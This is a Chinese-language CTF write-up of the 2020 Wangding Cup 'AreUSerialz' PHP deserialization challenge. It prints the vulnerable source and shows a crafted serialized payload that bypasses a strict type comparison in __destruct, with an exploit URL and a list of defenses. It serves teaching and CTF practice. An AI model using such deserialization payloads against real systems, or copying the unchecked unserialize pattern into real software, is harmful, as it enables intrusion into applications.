2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz
2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz总结
这是一道Web 方向 - PHP 反序列化入门级 CTF 题,核心考点覆盖 PHP 魔术方法执行逻辑、类型比较规则、序列化字符串合法性校验,最终目标是构造恶意反序列化 Payload,触发NewFlag::getFlag()方法并传入正确参数,获取题目预设的 flag。
一、完整代码解析
(一)核心文件:ctf2.php
<?php
include("NewFlag.php"); // 引入flag逻辑文件,必须加载才能调用NewFlag类
highlight_file(__FILE__); // 高亮显示当前文件源码(CTF中给选手看代码的常规操作)
class FileHandler { // 漏洞核心类,所有逻辑围绕此类展开
protected $op; // 操作类型:1=写文件,2=读文件;protected修饰符会导致序列化含不可打印字符
protected $filename; // 待操作的文件名
protected $content; // 写文件时的内容
function __construct() { // 构造函数:创建对象时自动执行(反序列化不触发!)
$op = "1"; // 注意:此处是局部变量,未赋值给$this->op(代码“坑点”,无实际作用)
$filename = "tmpfile"; // 局部变量,未赋值给对象属性
$content = "Hello World!"; // 局部变量,未赋值给对象属性
$this->process(); // 调用process,但$this->op为null,会输出"Bad Hacker!"
}
public function process() { // 核心业务方法:根据$op执行不同逻辑
if($this->op == "2") { // 松散比较(仅值相等,类型自动转换)
$res = $this->read(); // 调用read方法(触发flag的关键)
$this->output($res); // 输出read的结果
} else if($this->op == "1") { // 松散比较,执行写文件逻辑
$this->write();
} else { // 其他op值,输出恶意操作提示
$this->output("Bad Hacker!");
}
}
private function write() { // 私有方法:写文件逻辑(本题无利用价值)
if(isset($this->filename) && isset($this->content)) { // 检查文件名/内容是否存在
if(strlen((string)$this->content) > 100) { // 内容长度限制(无影响)
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content); // 写入文件
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() { // 私有方法:读文件逻辑(触发flag的核心)
$res = "";
if(isset($this->filename)) { // 检查文件名是否存在
$res = NewFlag::getFlag($this->filename); // 调用flag核心方法
}
return $res; // 返回flag结果
}
private function output($s) { // 私有方法:统一输出结果
echo "[Result]: <br>";
echo $s;
}
function __destruct() { // 析构函数:对象销毁时自动执行(脚本结束/对象被unset)
if($this->op === "2") // 严格比较:值+类型必须全等于字符串"2"
$this->op = "1"; // 满足则修改op为1,导致无法执行读文件逻辑
$this->content = ""; // 清空内容(不影响读文件)
$this->process(); // 强制调用process(漏洞触发的核心入口)
}
}
function is_valid($s) { // 序列化字符串合法性校验:仅允许可打印ASCII字符(32-125)
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // 检查每个字符的ASCII码
return false; // 含不可打印字符则拒绝反序列化
return true;
}
if(isset($_GET{'str'})) { // 接收GET参数str({}和[]等价,PHP语法兼容)
$str = (string)$_GET['str']; // 转为字符串
if(is_valid($str)) { // 校验通过才反序列化
$obj = unserialize($str); // 反序列化:字符串→对象
}
}
?>
(二)flag 逻辑文件:NewFlag.php
<?php
class NewFlag {
public static function getFlag($fileName) { // 静态方法:返回flag的核心逻辑
$res = "flag error"; // 默认返回错误提示
if($fileName ==="NewFlag.php") { // 严格比较:文件名必须是"NewFlag.php"(值+类型)
$res = "flag:{this is flag}"; // 文件名正确则返回真实flag
}
return $res; // 返回结果
}
}
?>
二、核心要点深度拆解
1:PHP 魔术方法的执行规则
| 魔术方法 | 执行时机 | 对本题的影响 |
|---|---|---|
__construct |
对象创建时执行 | 反序列化生成对象时不触发,因此构造函数内的代码无利用价值 |
__destruct |
对象销毁时执行(脚本结束 / 对象被 unset) | 反序列化的对象会在脚本结束时触发此方法,进而调用process(),是漏洞触发的核心 |
2:PHP 比较规则(松散 vs 严格)
| 比较符 | 规则 | 示例 | 本题应用 |
|---|---|---|---|
==(松散) |
仅比较值,自动类型转换 | 2 == "2" → true;1 == "1a" → true |
process()中$op == "2",整数 2 也能匹配 |
===(严格) |
比较值 + 类型,无转换 | 2 === "2" → false;"2" === "2" → true |
__destruct()中用此规则,可通过类型差异绕过 |
3:类属性修饰符与序列化规则
PHP 属性修饰符决定序列化后的字符串格式,直接影响is_valid()校验:
| 修饰符 | 序列化格式 | 特殊字符 | 是否可打印 | 本题应对方案 |
|---|---|---|---|---|
| public | s:长度:"属性名";值 |
无 | 是 | 自定义类将属性改为 public,构造可打印字符串 |
| protected | s:长度:"\0*\0属性名";值 |
\0(ASCII 0) |
否 | 利用 PHP 反序列化 “宽松匹配” 特性,用 public 属性替代 |
| private | s:长度:"\0类名\0属性名";值 |
\0(ASCII 0) |
否 | 同 protected 的应对方案 |
4:反序列化完整执行流程
A[传入GET参数str] --> B[is_valid()校验字符合法性]
B -->|通过| C[unserialize生成FileHandler对象]
B -->|不通过| D[终止,无操作]
C --> E[脚本结束,对象销毁]
E --> F[触发__destruct()]
F --> G[检查$op === "2",决定是否修改op]
G --> H[调用process()]
H --> I{op == 2?}
I -->|是| J[调用read() → 触发NewFlag::getFlag()]
I -->|否| K[执行写文件/输出Bad Hacker!]
J --> L[输出flag/flag error]
三、解题步骤
步骤 1:明确攻击目标
要获取 flag,必须同时满足:
process()执行$op == 2分支(调用read());read()中$filename === "NewFlag.php"(触发真实 flag)。
步骤 2:分析核心障碍
| 障碍 | 表现 | 突破思路 |
|---|---|---|
| 障碍 1 | __destruct()中若$op === "2",会将 op 改为 1 |
让$op为整数 2(2 === "2"为 false),不修改 op |
| 障碍 2 | protected属性序列化含\0,被is_valid()拦截 |
自定义类将属性改为public,构造可打印字符串 |
| 障碍 3 | 反序列化不触发__construct() |
手动构造序列化字符串,赋值对象属性 |
步骤 3:构造恶意序列化 Payload
编写 PHP 脚本生成合法 Payload:
<?php
// 自定义FileHandler类,属性改为public(绕过不可打印字符)
class FileHandler {
public $op;
public $filename;
public $content;
}
// 1. 创建对象
$obj = new FileHandler();
// 2. 赋值核心属性:
$obj->op = 2; // 整数2,绕过__destruct()的严格比较
$obj->filename = "NewFlag.php"; // 触发flag的正确文件名
$obj->content = ""; // 析构会清空,可留空
// 3. 序列化生成Payload
$payload = serialize($obj);
echo $payload; // 输出最终Payload
?>
执行脚本,生成 Payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:0:"";}
Payload 解析:
O:11:"FileHandler":反序列化生成FileHandler对象(类名长度 11);3:对象包含 3 个属性;s:2:"op";i:2:属性op是字符串(长度 2),值为整数 2;s:8:"filename";s:11:"NewFlag.php":属性filename是字符串(长度 8),值为 "NewFlag.php"(长度 11);s:7:"content";s:0:"":属性content是字符串(长度 7),值为空字符串。
步骤 4:触发漏洞获取 flag
将 Payload 作为str参数传入ctf2.php,请求示例:
http://目标地址/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:0:"";}
漏洞触发完整流程:
- 服务器接收
str参数,is_valid()校验:Payload 全为可打印字符,校验通过; unserialize()生成FileHandler对象:$op=2(整数)、$filename="NewFlag.php"、$content="";- 脚本执行结束,对象销毁,触发
__destruct():- 检查
$op === "2"→ 整数 2 ≠ 字符串 "2",条件不成立,不修改$op; - 清空
$content(无影响); - 调用
process();
- 检查
process()执行:- 检查
$op == "2"→ 整数 2 == 字符串 "2",条件成立; - 调用
read()方法;
- 检查
read()执行:- 调用
NewFlag::getFlag("NewFlag.php"); - 文件名匹配,返回
flag:{this is flag};
- 调用
output()输出结果:[Result]: <br>flag:{this is flag}。
四、常见踩坑点与避坑指南
| 坑点 | 错误操作 | 后果 | 正确做法 |
|---|---|---|---|
| 坑点 1 | 认为反序列化触发__construct() |
试图通过构造函数赋值属性,无效 | 直接在序列化字符串中赋值属性 |
| 坑点 2 | 序列化原protected属性 |
生成含\0的字符串,被is_valid()拦截 |
自定义类将属性改为public |
| 坑点 3 | $op赋值为字符串 "2" |
__destruct()中修改$op为 1,执行写文件逻辑 |
$op赋值为整数 2 |
| 坑点 4 | 文件名拼写错误(如newflag.php) |
NewFlag::getFlag()返回flag error |
严格匹配NewFlag.php(大小写 / 后缀) |
五、思考
1. 题目变种应对
若__destruct()中改为$this->op === 2(严格匹配整数 2):
- 突破思路:将
$op设为字符串 "2",此时"2" === 2为 false,仍可绕过; - 核心逻辑:只要让严格比较的 “值 / 类型” 不匹配,就能保留
$op=2。
2. 开发侧防护方法
- 序列化白名单:仅允许反序列化指定类 / 属性,拒绝未知类;
- 限制魔术方法:避免在
__destruct()中执行关键业务逻辑; - 严格校验类型:所有比较使用
===,避免类型转换漏洞; - 替换序列化方式:使用 JSON(无魔术方法触发风险)替代 PHP 原生序列化;
- 增强字符校验:除可打印字符外,校验序列化字符串的类名 / 属性格式。
3.反序列化漏洞的利用条件
- unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
- 脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如destructO、unlink(
- 操作的内容需要有对象中的成员变量的值,比如filename
4.常见利用函数
| 类别 | 函数 |
|---|---|
| 命令执行 | exec()passthru()popen()system()…… |
| 文件操作 | file_put_contents()file_get_contents()unlink()…… |
六、最终总结
本题是 PHP 反序列化的经典入门题,核心考察:
- 魔术方法(
__destruct)的执行时机; - 严格 / 松散比较的差异与绕过;
- 类属性修饰符对序列化的影响;
- 反序列化的宽松匹配特性。
解题的核心逻辑是利用类型差异绕过析构函数的严格比较,同时修改属性修饰符构造合法序列化字符串,最终触发read()方法调用NewFlag::getFlag()获取 flag。

浙公网安备 33010602011771号